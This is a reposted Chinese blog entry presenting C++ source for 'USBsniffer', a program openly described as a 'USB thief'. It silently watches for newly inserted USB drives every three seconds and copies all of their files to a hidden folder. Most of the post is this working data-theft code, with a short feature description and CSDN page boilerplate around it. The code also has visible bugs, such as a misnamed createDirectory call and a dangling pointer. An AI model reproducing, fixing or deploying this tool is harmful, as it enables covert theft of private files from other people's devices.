u盘小偷(转载)c++源码

*USBsniffer v1.0*/
/*USBsniffer*/
/*作者:seek*/
/*日期:2007.2.17*/
/*E-mail:tseek1@gmail.com*/

功能简介:

本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘

或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路


#include <iostream>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <string>
#include <sys/types.h>
#include <sys/stat.h>
using namespace std;
void copyfiles(string source,char *target);
char *StringToChar(string source);
bool IsDirectory(const char* fname);
void Init();
int main(int argc,char **argv){
if(argc!=2){
   Init();
}
else{
   while(access(*(argv+1),0)==0){ // if directory already exist,this will auto add '\1' back it;
     strcat(*(argv+1),"\\1\\");
   }
     if(createDirectory(*(argv+1),NULL)){
       DWORD frist=GetLogicalDrives();
       DWORD second,n=0;
       string targetPath="0";
       while(1){ // every 3 seconds to estimate if there is a USB device
         Sleep(3000);
         second=GetLogicalDrives();
         if(second-frist>0){
           second-=frist;
           while(second>>=1) n++;
           targetPath[0]=n+65;
           targetPath+=":\\*";
           copyfiles(targetPath,*(argv+1));
           return 0;
         }
       }
     }
}
}
void copyfiles(string source,char *target){
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
char *sourceDir=0;
int len;
sourceDir=StringToChar(source);
len=strlen(sourceDir);
hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
sourceDir[len-1]='\0'; // take out '*';
while(1){
   if(hFind == INVALID_HANDLE_VALUE){ //file found error
     break;
   }
   else{
     char temp[200];
     char tempPath[200],tempSource[200];
     strcpy(temp,sourceDir);
     strcat(temp,FindFileData.cFileName);
     if(IsDirectory(temp)== true){ //estimate whether is a directory
       if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,"..")){ //take out . & ..dirc
         strcpy(tempSource,sourceDir);
         strcat(tempSource,FindFileData.cFileName);
         strcpy(tempPath,target);
         strcat(tempPath,FindFileData.cFileName);
         createDirectory(tempPath,NULL);
         strcat(tempSource,"\\*");
         strcat(tempPath,"\\");
         copyfiles(tempSource,tempPath); //Recursion
       }
     }
     else{ //if is a file,copy to target dirc
       strcpy(tempSource,sourceDir);
       strcpy(tempPath,target);
       strcat(tempPath,FindFileData.cFileName);
       strcat(tempSource,FindFileData.cFileName);
       CopyFile(tempSource,tempPath,false);
     }
     if(FindNextFile(hFind,&FindFileData)==0) break; //found the next file
   }
}
FindClose(hFind);  //handle closed;
}
char* StringToChar(string source){ //string convent to char*
char *ch=new char[source.length()];
ch=(char*)source.c_str();
return ch;
}
bool IsDirectory(const char* fname) //Directory estimate
{

return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;
}
void Init(){ //init function
cout<<"\nUSBsniffer v1.0 \n"<<endl
   <<"e.g: usbsniffer c:\\usb\\"<<endl
   <<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
   <<",and the whole log will be saved to c:\\log.txt"<<endl
   <<"\nWitten By SeeK QQ:771014"<<endl
   <<"\n2007.2.17"<<endl;
}

转载于:https://www.cnblogs.com/lzlynn/archive/2008/08/25/1275415.html

  • 0
    点赞
  • 0
    评论
  • 1
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

表情包
插入表情
评论将由博主筛选后显示,对所有人可见 | 还能输入1000个字符
©️2021 CSDN 皮肤主题: 编程工作室 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值